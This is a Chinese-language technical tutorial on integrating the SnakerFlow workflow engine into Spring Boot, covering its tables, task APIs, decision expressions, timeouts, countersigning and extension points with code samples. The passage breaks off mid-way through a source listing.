    "content": "Spring Boot 集成SnakerFlow流程引擎，简介、功能列表、详细解读、扩展点分析\n\n\n功能列表\n流程定义\n任务参与者\n参与者设置\n动态添加、删除参与者\n组支持\n详细解读\nSpring Boot集成\n表定义\n表详细说明：\n字段详细说明：\n常见操作\n常规API\n综合查询\n模型操作\n流程模型\nStart节点\nname获取节点\n类型获取所有节点\n所有任务节点\n后续一级节点集合\n活动任务\n转派\n撤回\n提取\n驳回、跳转\n唤醒\n更新\n创建自由任务\n决策表达式\ndecision的expr\ntransition的expr\n自定义类\n子流程\n子流程模型\n父子流程的关联\n时限控制\n依赖包\n配置\n超时提醒\n超时自动完成\n实例抄送\n表结构\n创建抄送\n更新状态\n会签任务\n会签任务节点\n动态加签\n会签百分比\n串行会签\nFork/Join\n级联删除（历史数据清理）\n扩展点\n自定义实例编号orderNo\n任务、实例完成时触发的回调\n节点拦截器\n全局拦截器\n局部拦截器\n源码分析\n自定义处理节点\n基于用户或组的访问策略\n☎️ ☎️ ☎️ 已开源基于SnakerFlow轻量级工作流引擎的脚手架项目 easy-admin\n\n详情参见：终于写了个开源项目，easy-admin 为打造一款简单、轻量级的后台管理系统脚手架\n\n简介\nSnakerFlow是一个基于Java的轻量级工作流引擎，适用于企业应用中常见的业务流程。本着轻量、简单、灵巧理念设计，定位于简单集成，多环境支持。\n\n轻量: snaker-core.jar大小208K，代码行数约7000行，强大的扩展支持，不依赖于具体的ORM框架，默认支持以下框架：\n\nSpring、Jfinal、Nutz\nJdbc、SpringJdbc、Hibernate3、Hibernate4、Mybatis\n简单: 表设计简单，七张核心表\n\n表设计简单[核心表7张]\n流程组件简单[start/end/task/custom/subprocess/decision/fork/join]\n灵巧: 预留大量扩展接口，支持web流程设计器\n\n暴露大量可扩展接口\n支持流程设计器、流程引擎的组件模型自定义[节点自定义、属性自定义、表单自定义]\n相关网站如下：\n\nhttps://github.com/snakerflow-starter\n\nhttps://github.com/snakerflow-starter/snakerflow-spring-boot-starter\n\nhttps://yunmel.gitbooks.io/snakerflow/content/\n\nhttps://github.com/snakerflow-starter/snaker-web\n\n功能列表\n流程定义\n\n待办\n\n已办\n\n任务到达某节点发出sms email 创建任务、完成实例\n\n催办\n\n转办\n\n会签\n\nsnaker的会签目前相对比较简单，仅仅是根据任务节点的performType属性值确定是否产生多个相同任务。\n\nperformType的值有两种，分别是ANY、ALL。\n\nANY多个参与者时，任何一个完成任务即继续流转\n\nALL多个参与者时，所有都需要完成任务才能继续流转\n\nperformType为0 ANY，则仅仅向wf_task_actor表中增加一条参与者信息performType为1ALL，则会在wf_task表中增加一条任务数据。\n\n加签\n\nengine.task().addTaskActor(String taskId, 1, String… actorIds)\n审批环节 同意 拒绝\n\n驳回到任意节点\n\n流程图\n\n撤回\n\n任务参与者\n\n流程定义\n支持Eclipse插件、web设计器。\n\n已集成web设计器，具体详见我的开源项目Easy-Admin: https://gitee.com/lakernote/easy-admin\n\n任务参与者\nsnaker的任务支持静态配置、动态传递、自定义类处理、动态设置、组等方式。\n\n参与者设置\n动态添加、删除参与者\n组支持\n参与者设置\n直接设置静态参与者，即assignee值为用户、部门或角色的标识符\n\n通过运行时动态传递，即assignee值为变量名称，在调用流程引擎的api时，通过map参数传递这个变量值\n\n通过自定义类[继承Assignment类]，设置assignmentHandler属性，assign方法返回值就是参与者\n\n常用的动态添加、删除参与者示例\n\nOrder dm = snakerEngineFacets.startInstanceById(process.getId(), \"张三\", Dict.create()\n        .set(\"user1\", \"张三排\")\n        .set(\"user2\", \"组长\")\n        .set(\"approveBoss.operator\", \"部门经理\"));\n1\n2\n3\n4\n  <task assignee=\"user1\" displayName=\"请假申请\" form=\"/flow/leave/apply\" layout=\"117,122,-1,-1\" name=\"apply\"\n          performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"user2\" displayName=\"部门经理审批\" form=\"/flow/leave/approveDept\" layout=\"272,122,-1,-1\"\n          name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#day &gt; 2 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\"\n              name=\"decision1\">\n        <transition displayName=\"&lt;=2天\" g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition displayName=\"&gt;2天\" g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"approveBoss.operator\" displayName=\"总经理审批\" form=\"/flow/leave/approveBoss\" layout=\"404,231,-1,-1\"\n          name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n源码：org.snaker.engine.core.TaskService\n\n/**\n * 根据Task模型的assignee、assignmentHandler属性以及运行时数据，确定参与者\n * @param model 模型\n * @param execution 执行对象\n * @return 参与者数组\n */\nprivate String[] getTaskActors(TaskModel model, Execution execution) {\n   Object assigneeObject = null;\n       AssignmentHandler handler = model.getAssignmentHandlerObject();\n   if(StringHelper.isNotEmpty(model.getAssignee())) {\n      // Args{user1:张三,user2:李四}，model.getAssignee() user1\n      assigneeObject = execution.getArgs().get(model.getAssignee());\n   } else if(handler != null) {\n           if(handler instanceof Assignment) {\n               assigneeObject = ((Assignment)handler).assign(model, execution);\n           } else {\n               assigneeObject = handler.assign(execution);\n           }\n   }\n   return getTaskActors(assigneeObject == null ? model.getAssignee() : assigneeObject);\n}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n动态添加、删除参与者\n向指定任务动态添加参与者，同时支持设置参与类型\n\nperformType为0，则仅仅向wf_task_actor表中增加一条参与者信息performType为1，则会在wf_task表中增加一条任务数据。\n\nengine.task().addTaskActor(String taskId, String... actors)\nengine.task().addTaskActor(String taskId, Integer performType, String... actors)\n1\n2\n对指定任务动态删除其中的参与者\n\nengine.task().removeTaskActor(String taskId, String... actors)\n1\n组支持\n由于snaker引擎与用户权限完全解耦的，所以对于组的支持，仅仅是你设置组作为参与者，你就要自定义一个任务的访问策略，能够根据操作人得到所有的组集合，这样流程引擎才能允许该操作人处理任务。\n\n自定义任务访问策略类\npublic class CustomAccessStrategy extends GeneralAccessStrategy {\n    protected List<String> ensureGroup(String operator) {\n        //此处根据实际项目获取操作人对应的组列表\n        return ShiroUtils.getGroups();\n    }\n}\n1\n2\n3\n4\n5\n6\n配置\n在snaker.xml中增加下面的配置\n\n<bean class=\"com.snakerflow.framework.flow.CustomAccessStrategy\"/>\n1\n详细解读\nSpring Boot集成\n1.pom.xml依赖\n\n<dependency>\n  <groupId>com.github.snakerflow-starter</groupId>\n  <artifactId>snakerflow-spring-boot-starter</artifactId>\n  <version>1.0.7</version>\n</dependency>\n1\n2\n3\n4\n5\n2.新增配置项\n\nmybatis-plus:\n  type-aliases-package: org.snaker.engine.entity\n1\n2\n3.初始化sql脚本\n\n具体详见我的开源项目Easy-Admin: https://gitee.com/lakernote/easy-admin\n\n表定义\nSnaker流程引擎核心共7张表，关系图如下所示:\n\n[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BIBnQoBD-1628575405791)(https://yunmel.gitbooks.io/snakerflow/content/assets/table_relations.png)]\n\n表详细说明：\n表名称\t描述\t备注\nwf_process\t流程定义表\t\nwf_order\t活动实例表\t\nwf_task\t活动任务表\t\nwf_task_actor\t活动任务参与者表\t\nwf_hist_order\t历史实例表\t\nwf_hist_task\t历史任务表\t\nwf_hist_task_actor\t历史任务参与者表\t\nwf_surrogate\t委托代理管理表\t一般业务用不到\nwf_cc_order\t抄送实例表\t一般业务用不到\n字段详细说明：\nwf_process\n\n字段名称\t字段描述\nid\t主键ID\nname\t流程名称\ndisplay_Name\t流程显示名称\ntype\t流程类型\ninstance_Url\t实例url\nstate\t流程是否可用\ncontent\t流程模型定义\nversion\t版本\ncreate_Time\t创建时间\ncreator\t创建人\nwf_order\n\n字段名称\t字段描述\nid\t主键ID\nparent_Id\t父流程ID\nprocess_Id\t流程定义ID\ncreator\t发起人\ncreate_Time\t发起时间\nexpire_Time\t期望完成时间\nlast_Update_Time\t上次更新时间\nlast_Updator\t上次更新人\npriority\t优先级\nparent_Node_Name\t父流程依赖的节点名称\norder_No\t流程实例编号\nvariable\t附属变量json存储\nversion\t版本\nwf_hist_order\n\n字段名称\t字段描述\nid\t主键ID\nparent_Id\t父流程ID\nprocess_Id\t流程定义ID\ncreator\t发起人\ncreate_Time\t发起时间\nexpire_Time\t期望完成时间\nend_Time\t完成时间\npriority\t优先级\norder_No\t流程实例编号\nvariable\t附属变量json存储\norder_State\t状态\nwf_task\n\n字段名称\t字段描述\nid\t主键ID\norder_Id\t流程实例ID\ntask_Name\t任务名称\ndisplay_Name\t任务显示名称\ntask_Type\t任务类型\nperform_Type\t参与类型\noperator\t任务处理人\ncreate_Time\t任务创建时间\nfinish_Time\t任务完成时间\nexpire_Time\t任务期望完成时间\naction_Url\t任务处理的url\nparent_Task_Id\t父任务ID\nvariable\t附属变量json存储\nversion\t版本\nwf_hist_task\n\n字段名称\t字段描述\nid\t主键ID\norder_Id\t流程实例ID\ntask_Name\t任务名称\ndisplay_Name\t任务显示名称\ntask_Type\t任务类型\nperform_Type\t参与类型\noperator\t任务处理人\ncreate_Time\t任务创建时间\nfinish_Time\t任务完成时间\nexpire_Time\t任务期望完成时间\naction_Url\t任务处理的url\nparent_Task_Id\t父任务ID\nvariable\t附属变量json存储\ntask_State\t任务状态\nwf_task_actor\n\n字段名称\t字段描述\ntask_Id\t任务ID\nactor_Id\t参与者ID\nwf_hist_task_actor\n\n字段名称\t字段描述\ntask_Id\t任务ID\nactor_Id\t参与者ID\nwf_surrogate\n\n字段名称\t字段描述\nid\t主键ID\nprocess_Name\t流程名称\noperator\t授权人\nsurrogate\t代理人\nodate\t操作时间\nsdate\t开始时间\nedate\t结束时间\nstate\t状态\nwf_cc_order\n\n字段名称\t字段描述\norder_Id\t流程实例ID\nactor_Id\t参与者ID\ncreate_Time\t抄送时间\nfinish_Time\t完成时间\ncreator\t发起人\nstatus\t状态\n常见操作\n常规API\n参见SnakerEngineFacets.java\n\n综合查询\n综合查询服务不仅提供流程实例、活动/历史任务、待办任务的查询，同时支持原生SQL语句的查询服务。\n\norg.snaker.engine.IQueryService\n1\n根据流程实例ID获取流程实例对象\n\nOrder getOrder(String orderId);\n1\n根据流程实例ID获取历史流程实例对象\n\nHistoryOrder getHistOrder(String orderId);\n1\n根据任务ID获取任务对象\n\nTask getTask(String taskId);\n1\n根据任务ID获取历史任务对象\n\nHistoryTask getHistTask(String taskId);\n1\n根据任务ID获取活动任务参与者数组\n\nString[] getTaskActorsByTaskId(String taskId);\n1\n根据任务ID获取历史任务参与者数组\n\nString[] getHistoryTaskActorsByTaskId(String taskId);\n1\n根据filter查询活动任务\n\nList<Task> getActiveTasks(QueryFilter filter);\n1\n根据filter分页查询活动任务\n\nList<Task> getActiveTasks(Page<Task> page, QueryFilter filter);\n1\n根据filter查询流程实例列表\n\nList<Order> getActiveOrders(QueryFilter filter);\n1\n根据filter分页查询流程实例列表\n\nList<Order> getActiveOrders(Page<Order> page, QueryFilter filter);\n1\n根据filter查询历史流程实例\n\nList<HistoryOrder> getHistoryOrders(QueryFilter filter);\n1\n根据filter分页查询历史流程实例\n\nList<HistoryOrder> getHistoryOrders(Page<HistoryOrder> page, QueryFilter filter);\n1\n根据filter查询所有已完成的任务\n\nList<HistoryTask> getHistoryTasks(QueryFilter filter);\n1\n根据filter分页查询已完成的历史任务\n\nList<HistoryTask> getHistoryTasks(Page<HistoryTask> page, QueryFilter filter);\n1\n根据filter分页查询工作项（包含process、order、task三个实体的字段集合）\n\nList<WorkItem> getWorkItems(Page<WorkItem> page, QueryFilter filter);\n1\n根据filter分页查询抄送工作项（包含process、order）\n\nList<HistoryOrder> getCCWorks(Page<HistoryOrder> page, QueryFilter filter);\n1\n根据filter分页查询已完成的历史任务项\n\nList<WorkItem> getHistoryWorkItems(Page<WorkItem> page, QueryFilter filter);\n1\n根据类型T、Sql语句、参数查询单个对象\n\npublic <T> T nativeQueryObject(Class<T> T, String sql, Object... args);\n1\n根据类型T、Sql语句、参数查询列表对象\n\npublic <T> List<T> nativeQueryList(Class<T> T, String sql, Object... args);\n1\n根据类型T、Sql语句、参数分页查询列表对象\n\npublic <T> List<T> nativeQueryList(Page<T> page, Class<T> T, String sql, Object... args);\n1\n模型操作\n通过流程定义章节的查询接口可以轻松获取到Process实体对象，该实体中的model属性就是流程图的对象表达形式了，可通过getModel方法获取ProcessModel。\n\nprocess.getModel()\n1\n流程模型\nStart节点\nname获取节点\n类型获取所有节点\n所有任务节点\n后续一级节点集合\n流程模型\norg.snaker.engine.model.ProcessModel\n1\n流程模型、流程定义的XML文件、流程图三种表现形式可互相转换，流程模型对象不仅包含了自身的属性（如：namedisplayNameinstanceUrlexpireTimeinstanceNoClass），同时也包含了所有节点模型对象以及它们的关系。\n\nStart节点\norg.snaker.engine.model.StartModel\n1\nStart节点作为流程启动的入口，只有输出路由，其输入路由为空，可通过getInputs方法进行验证\n\nname获取节点\nNodeModel getNode(String nodeName)\n1\n根据节点的name属性获取到节点模型对象\n\n类型获取所有节点\nList<T> getModels(Class<T> clazz)\n1\n根据节点类型获取所有该类型的模型对象集合。常用于如下方式：\n\nList<TaskModel> taskModels = processModel.getModels(TaskModel.class)\n1\n所有任务节点\nList<TaskModel> getTaskModels()\n1\n该方法获取有序的所有任务模型集合\n\n后续一级节点集合\nList<T> getNextModels(Class<T> clazz)\n1\n获取某个节点的后续一级节点集合，getNextModels是NodeModel的方法\n\n活动任务\n任务服务主要配合流程引擎在调度过程中任务数据的操作。\n\norg.snaker.engine.ITaskService\n1\n转派\n撤回\n提取\n驳回跳转\n唤醒\n更新\n转派\n任务转派是向指定人创建新的任务。转派api支持主办、协办两种任务类型\n\ncreateNewTask(String taskId, int taskType, String... actors)\n1\ntaskType：0 主办任务类型\n\ntaskType：1 协办任务类型\n\n撤回\n根据历史任务id，撤回由该历史任务派发的所有活动任务，如果无活动任务，则不允许撤回，抛出unchecked异常：SnakerException\n\nwithdrawTask(String taskId, String operator)\n1\n提取\n任务提取一般发生在参与者为部门、角色等组的情况下，该组的某位成员提取任务后，不允许其它成员处理该任务。\n\ntake(String taskId, String operator)\n1\n驳回、跳转\n任务驳回有两种场景：驳回至上一步；驳回至任意节点。\n\nengine.executeAndJumpTask(String taskId, String operator, Map<String, Object> args, String nodeName);\n1\n方法的参数nodeName决定驳回的方式：\n\nnodeName为空时，则驳回至上一步，不需要传递参与者数据\nnodeName不为空，则表示任意跳转，此时需要传递参与者数据。\n唤醒\n如果一个已经结束的任务，希望重新激活为活动状态，该如何操作呢。那么调用resume方法即可实现此功能。\n\nTask resume(String taskId, String operator)\n1\n更新\n如果一个活动任务，需要更新部分字段，则可以使用更新方法完成。\n\nupdateTask(Task task)\n1\n可更新任务对象的finish_Time、operator、expire_Time、variable\n\n创建自由任务\nengine.createFreeTask(String orderId, String operator, Map<String, Object> args, TaskModel model);\n1\n创建自由任务时，需要新建任务模型对象TaskModel，再根据此模型创建对应的任务数据。\n\n决策表达式\n决策表达式主要用于decision（选择分支）节点，该节点支持三种路由选择方式\n\ndecision的expr\ntransition的expr\n自定义类\ndecision的expr\ndecision节点的expr有两种方式来设置\n\n1.表达式中增加判断逻辑，如：${day >3 ? 't1' : 't2'}，此时根据day的值决定走t1、或t2的路由，用于设置范围值的情况\n\n2.表达式仅仅是一个变量，如：${tname}，此时，传递tname的值为路由name即可，用于设置具体值的情况（如：同意、不同意）\n1\n2\n3\ntransition的expr\n如果decision节点的expr为空，可设置输出路由的expr，必须返回boolean类型\n\n路由1设置expr的值为：${content==1}，\n路由2设置expr的值为：${content > 1}。\n1\n2\n自定义类\n自定义类需要实现DecisionHandler接口的decide方法\n\norg.snaker.engine.DecisionHandler\n1\n该方法返回字符串即表示输出路由的name\n\nSnaker默认支持Juel、SringEL两种表达式引擎，需要在snaker.xml中配置。配置如下：\n\n<bean class=\"org.snaker.engine.impl.JuelExpression\"/>\n1\n并且支持自定义表达式，实现Expression接口，同样修改一下配合即可。\n\nJuel表达式引擎常用语法\nString expr1 = \"${content}\";\nMap<String, Object> args1 = new HashMap<String, Object>();\nargs1.put(\"content\", 1);\nSystem.out.println(eval(String.class, expr1, args1));\n\nString expr2 = \"${content == 1 ? 'v1' : 'v2'}\";\nMap<String, Object> args2 = new HashMap<String, Object>();\n//此处不仅支持数字类型，也支持字符串类型，但是值必须可转换为数字\nargs2.put(\"content\", \"2\");\nSystem.out.println(eval(String.class, expr2, args2));\n\nString expr3 = \"${content > 1 ? 'v1' : 'v2'}\";\nMap<String, Object> args3 = new HashMap<String, Object>();\n//此处只要是数字类型即可，如1或0.5等\nargs3.put(\"content\", 4.2);\nSystem.out.println(eval(String.class, expr3, args3));\n\n//juel支持表达式为字符串类型而参数为数字类型\nString expr4 = \"${content == '1' ? 'v1' : 'v2'}\";\nMap<String, Object> args4 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs4.put(\"content\", 1);\nSystem.out.println(eval(String.class, expr4, args4));\n\n//逻辑表达式与，使用&&表示\nString expr5 = \"${content > 1 && content <= 10 ? 'v1' : 'v2'}\";\nMap<String, Object> args5 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs5.put(\"content\", \"11\");\nSystem.out.println(eval(String.class, expr5, args5));\n\n//逻辑表达式或，使用||表示\nString expr6 = \"${content < 1 || content > 10 ? 'v1' : 'v2'}\";\nMap<String, Object> args6 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs6.put(\"content\", \"1\");\nSystem.out.println(eval(String.class, expr6, args6));\n\n//逻辑表达式\nString expr7 = \"${content < 1 || content > 10 ? 'v1' : (content == 8 ? 'v2' : 'v3')}\";\nMap<String, Object> args7 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs7.put(\"content\", \"8\");\nSystem.out.println(eval(String.class, expr7, args7));\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\nSpring EL表达式引擎常用语法\nString expr1 = \"#content\";\nMap<String, Object> args1 = new HashMap<String, Object>();\nargs1.put(\"content\", \"v2\");\nSystem.out.println(expr1 + \"====>\" + eval(String.class, expr1, args1));\n\nString expr2 = \"#content == 1 ? 'v1' : 'v2'\";\nMap<String, Object> args2 = new HashMap<String, Object>();\n//此处仅支持数字类型\nargs2.put(\"content\", 2.1);\nSystem.out.println(expr2 + \"====>\" + eval(String.class, expr2, args2));\n\nString expr3 = \"#content > 1 ? 'v1' : 'v2'\";\nMap<String, Object> args3 = new HashMap<String, Object>();\n//此处只要是数字类型即可，如1或0.5等\nargs3.put(\"content\", 4.2);\nSystem.out.println(expr3 + \"====>\" + eval(String.class, expr3, args3));\n\n//spel支持表达式为字符串类型而参数为数字类型\nString expr4 = \"#content == '1' ? 'v1' : 'v2'\";\nMap<String, Object> args4 = new HashMap<String, Object>();\n//此处仅支持字符串\"1\"\nargs4.put(\"content\", \"1\");\nSystem.out.println(expr4 + \"====>\" + eval(String.class, expr4, args4));\n\n//逻辑表达式与，使用and表示\nString expr5 = \"#content > 1 and #content <= 10 ? 'v1' : 'v2'\";\nMap<String, Object> args5 = new HashMap<String, Object>();\n//此处仅支持数字类型\nargs5.put(\"content\", 11);\nSystem.out.println(expr5 + \"====>\" + eval(String.class, expr5, args5));\n\n//逻辑表达式或，使用||表示\nString expr6 = \"#content < 1 or #content > 10 ? 'v1' : 'v2'\";\nMap<String, Object> args6 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs6.put(\"content\", 1);\nSystem.out.println(expr6 + \"====>\" + eval(String.class, expr6, args6));\n\n//逻辑表达式\nString expr7 = \"(#content < 1 or #content > 10) ? 'v1' : (#content == 8 ? 'v2' : 'v3')\";\nMap<String, Object> args7 = new HashMap<String, Object>();\n//此处不仅可以写字符串\"1\"，也可以写char类型'1'，写数字类型1，浮点类型1.00\nargs7.put(\"content\", 8);\nSystem.out.println(expr7 + \"====>\" + eval(String.class, expr7, args7));\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n子流程\n子流程的作用是将一个复杂的业务流程进行细化拆分，提高流程的复用性。\n\n子流程模型\n父子流程的关联\n子流程模型\n子流程模型类型为SubProcessModel，其主要属性为processName，根据流程的name进行关联，由于流程定义支持一个name多个版本同时运行，那么子流程关联只设置name，即表示与最新版本的子流程关联。\n\n父子流程的关联\n对于表结构的设计中，父子流程的关联字段为\n\nwf_order[parent_Id、parent_Node_Name]\nwf_hist_order[parent_Id]\n时限控制\n时限控制常用于流程平台中的超时处理（提醒、自动执行等）、以及任务监控的查询统计等功能。\n\n依赖包\n配置\n实现提醒接口\n依赖包\nsnaker默认支持quartz定时器调度框架，只需要依赖snaker-quartz的包即可。\n\n配置\n在snaker.xml中配置时限控制的拦截器、定时调度的实现类\n\n<bean class=\"org.snaker.engine.impl.SchedulerInterceptor\"/>\n<bean class=\"org.snaker.engine.scheduling.quartz.QuartzScheduler\"/>\n1\n2\n如果使用其它定时调度框架，需要实现IScheduler接口，并替换QuartzScheduler类配置\n\n以上两步已经完成了时限的配置工作，下面就可以针对提醒、超时自动执行做自定义扩展了。\n\n超时提醒\n编写自定义的提醒类，实现IReminder接口。并配置到snaker.xml中即可。\n任务节点配置超时提醒属性：reminderTime、reminderRepeat。\nreminderTime是一个变量，表示提醒开始时间，当你调用api时需要传递此变量值，值的类型为date。\nreminderRepeat是一个数字，表示重复提醒间隔时间，以分钟为单位\n1\n2\n默认提醒一次就结束，如果希望提醒多次，可通过 snaker.properties 中配置 scheduler.repeat 属性，该值是个数字，表示提醒次数。\n节假日配置\n#是否启用节假日，默认为false\nscheduler.useCalendar=true/false\n#节日配置，格式为yyyy-MM-dd,...\nscheduler.holidays=2014-12-26,2014-12-27\n#工作日设置，格式为1,2,3...7，表示周一至周日\nscheduler.weeks=1,2,3,4,5\n#工作时间设置，格式为8:00-18:00\nscheduler.workTime=8:00-18:00\n1\n2\n3\n4\n5\n6\n7\n8\n超时自动完成\n任务节点配置超时处理属性： expireTime、autoExecute、callback\nexpireTime是一个变量，表示期望完成时间，当你调用api时需要传递此变量值，值的类型为date。\n\nautoExecute的值为Y/N,表示超时是否自动执行\n\ncallback是一个字符串，表示自动执行的回调类路径配置\n\n编写回调类\n通过实现JobCallback接口\n\norg.snaker.engine.scheduling.JobCallback\n1\n实例抄送\n实例的抄送类似于邮箱里面的抄送功能，一般用于将该流程实例抄送给领导查阅。\n\n表结构\n创建抄送\n更新状态\n表结构\n抄送记录表主要保存抄送的记录信息\n\nwf_cc_order\n1\n创建抄送\n根据实例id、创建人、抄送人创建抄送记录\n\nengine.order().createCCOrder(String orderId, String creator, String... actorIds)\n1\n更新状态\n更新状态用于更新抄送记录为已经阅读\n\nengine.order().updateCCStatus(String orderId, String... actorIds)\n1\n会签任务\nsnaker的会签目前相对比较简单，仅仅是根据任务节点的performType属性值确定是否产生多个相同任务。\n\nperformType的值有两种，分别是ANY、ALL。\n\nANY多个参与者时，任何一个完成任务即继续流转\n\nALL多个参与者时，所有都需要完成任务才能继续流转\n\n会签任务节点\n动态加签\n会签百分比\n串行会签\n会签任务节点\n只需要在流程定义时，将任务节点的属性performType值设置为ALL即可，当调用api时传递多个参与者时，则自动派发与参与者数量相同的任务。会签任务必须等待所有参与者完成后，才继续流转\n\n动态加签\n可调用任务服务的addTaskActor方法实现动态加签。\n\nengine.task().addTaskActor(String taskId, 1, String... actorIds)\n1\n会签百分比\n暂未实现\n1\n串行会签\n暂未实现\n1\nFork/Join\nsnaker流程引擎中的所有节点模型都支持fork/join的并行流转。\n\n建议fork/join配对使用，否则会造成流程数据不一致。\n\n测试用例中的forkjoin流程图如下所示：\n\n\n\n级联删除（历史数据清理）\n级联删除主要用于流程定义、流程实例的数据。一般情况下，不建议在正式环境里使用此功能，顾名思义，会删除所有的关联数据，谨慎使用。\n\n流程定义\nengine.process().cascadeRemove(String processId)\n1\n会删除流程定义以及该定义启动的所有流程实例、任务，谨慎使用。\n\n流程实例\nengine.order().cascadeRemove(String orderId)\n1\n会删除流程实例以及该实例创建的所有任务，谨慎使用。\n\n扩展点\n自定义实例编号orderNo\n源码：org.snaker.engine.core.OrderService\n\n\t/**\n\t * 创建活动实例\n\t */\n\tpublic Order createOrder(Process process, String operator, Map<String, Object> args, \n\t\t\tString parentId, String parentNodeName) {\n\t    ...\n\t\tString orderNo = (String)args.get(SnakerEngine.ID);\n\t\tif(StringHelper.isNotEmpty(orderNo)) {\n   \t\t order.setOrderNo(orderNo);\n\t\t} else {\n   \t\t order.setOrderNo(model.getGenerator().generate(model));\n           ...\n\t}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n有2种方式进行自定义\n\n开启实例时，参数中加入SnakerEngine.ID\n实现INoGenerator 接口，并在流程定义的xml中配置\n任务、实例完成时触发的回调\nCompletion：所有任务和实例在完成时会回到Completion的实现类。\n\n源码：org.snaker.engine.core.TaskService\n\n/**\n * 完成指定任务\n * 该方法仅仅结束活动任务，并不能驱动流程继续执行\n */\npublic Task complete(String taskId, String operator, Map<String, Object> args) {\n       Completion completion = getCompletion(); //completion = ServiceContext.find(Completion.class);\n       if(completion != null) {\n           completion.complete(history);\n       }\n   return task;\n}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n从completion = ServiceContext.find(Completion.class);这里看出，仅能使用一个Completion实现类。\n\n默认的任务、实例完成时触发的动作\n\npublic class GeneralCompletion implements Completion {\n    private static final Logger log = LoggerFactory.getLogger(GeneralCompletion.class);\n\n    public void complete(HistoryTask task) {\n        log.info(\"The task[{}] has been user[{}] has completed\", task.getId(), task.getOperator());\n    }\n    \n    public void complete(HistoryOrder order) {\n        log.info(\"The order[{}] has completed\", order.getId());\n    }\n}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n扩展示例如下：\n\n@Component\npublic class EasyAdminCompletion implements Completion {\n1\n2\n节点拦截器\nsnaker的拦截器支持所有的节点前后拦截，并且支持全局、局部拦截器。拦截器统一实现SnakerInterceptor接口\n\norg.snaker.engine.SnakerInterceptor\n1\n全局拦截器\n局部拦截器\n全局拦截器\n全局拦截器会拦截所有新产生的任务对象。自定义的全局拦截器需要配置到snaker.xml中。如默认支持的日志拦截器\n\n<bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n1\n例如：\n\n@Component\npublic class EasyGlobalCreateTaskInterceptor implements SnakerInterceptor {\n        @Override\n    public void intercept(Execution execution) {\n        // ...\n    }\n}    \n1\n2\n3\n4\n5\n6\n7\n局部拦截器\n局部拦截器支持节点执行的前置、后置拦截。需要配置到task节点模型的preInterceptors[前置拦截]、postInterceptors[后置拦截]属性\n\n源码分析\n这里仅看全局拦截器实现原理。\n\n源码：org.snaker.engine.handlers.impl.CreateTaskHandler\n\n/**\n\t * 根据任务模型、执行对象，创建下一个任务，并添加到execution对象的tasks集合中\n\t */\n\tpublic void handle(Execution execution) {\n\t\tList<Task> tasks = execution.getEngine().task().createTask(model, execution);\n\t\texecution.addTasks(tasks);\n\t\t/**\n\t\t * 从服务上下文中查找任务拦截器列表，依次对task集合进行拦截处理\n\t\t */\n\t\tList<SnakerInterceptor> interceptors = ServiceContext.getContext().findList(SnakerInterceptor.class);\n\t\ttry {\n\t\t\tfor(SnakerInterceptor interceptor : interceptors) {\n\t\t\t\tinterceptor.intercept(execution);\n\t\t\t}\n\t\t} catch(Exception e) {\n\t\t\tlog.error(\"拦截器执行失败=\" + e.getMessage());\n\t\t\tthrow new SnakerException(e);\n\t\t}\n\t}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n从List<SnakerInterceptor> interceptors = ServiceContext.getContext().findList(SnakerInterceptor.class);这里看出可以存在多个全局拦截器。\n\n自定义处理节点\nsnaker的自定义节点可完成流程的全自动编排。只需要在自定义节点模型中配置处理类即可。\n\n自定义节点的处理类有两种方式：\n\n实现IHandler接口\n\n只需要配置clazz属性即可\n\n普通java类\n\n需要设置clazzmethodNameargsvar\n\n自定义节点的执行不需要外部触发，只要抵达节点立即执行绑定的类进行处理。并记录历史任务，处理类返回值保存在历史任务的变量字段中。\n\n基于用户或组的访问策略\n策略类用于判断当前操作人operator是否允许执行taskId指定的任务\n\n源码：org.snaker.engine.core.TaskService\n\n/**\n\t * 判断当前操作人operator是否允许执行taskId指定的任务\n\t */\n\tpublic boolean isAllowed(Task task, String operator) {\n\t\tif(StringHelper.isNotEmpty(operator)) {\n\t\t\tif(SnakerEngine.ADMIN.equalsIgnoreCase(operator)\n\t\t\t\t\t|| SnakerEngine.AUTO.equalsIgnoreCase(operator)) {\n\t\t\t\treturn 